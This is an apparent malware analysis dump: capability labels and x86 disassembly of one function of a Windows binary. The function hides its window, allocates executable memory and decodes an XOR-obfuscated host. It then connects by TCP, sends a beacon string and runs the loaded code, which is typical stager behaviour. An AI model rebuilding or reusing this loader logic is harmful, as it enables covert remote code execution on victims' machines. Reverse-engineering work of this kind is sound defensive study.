Function at 0x401b40
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Execute shellcode via indirect call
Hide graphical window
Resolve dns
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
nop
nop
nop
nop
call fcn.004013a0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x405864], eax
nop
nop
nop
nop
nop
nop
cmp dword [0x405864], 0xffffffff
je 0x401cc9
nop
nop
nop
nop
nop
nop
push 0x40
push 0x3000
push 0x4dc1c
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x405860], eax
cmp dword [0x405860], 0
jne 0x401bb4
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [ebp - 4], 0
jmp 0x401bc6
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x410
jae 0x401be7
mov ecx, dword [ebp - 4]
movzx edx, byte [ecx + str.PTUOSQXOUOSRQaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa__4]
xor edx, 0x61
mov eax, dword [ebp - 4]
mov byte [eax + str.PTUOSQXOUOSRQaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa__4], dl
jmp 0x401bbd
mov dword [ebp - 8], 0
lea ecx, [ebp - 8]
push ecx
push 0
push 0
push str.PTUOSQXOUOSRQaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa__4
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x401c07
jmp 0x401c58
nop
nop
nop
nop
nop
nop
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x18]
mov ecx, dword [eax]
mov dword [ebp - 0x28], ecx
mov edx, dword [eax + 4]
mov dword [ebp - 0x24], edx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x20], ecx
mov edx, dword [eax + 0xc]
mov dword [ebp - 0x1c], edx
movzx eax, word [0x405148]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x26], ax
push 0x10
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [0x405864]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x401c56
jmp 0x401c58
jmp 0x401be7
push 0x405860
push 0x401a70
call dword [0x40585c]
mov dword [ebp - 0x10], eax
nop
nop
nop
nop
nop
nop
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x62
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0
push 0
push 8
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [0x405864]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jg 0x401cb7
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
nop
nop
nop
nop
nop
push 0xffffffffffffffff
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov esp, ebp
pop ebp
ret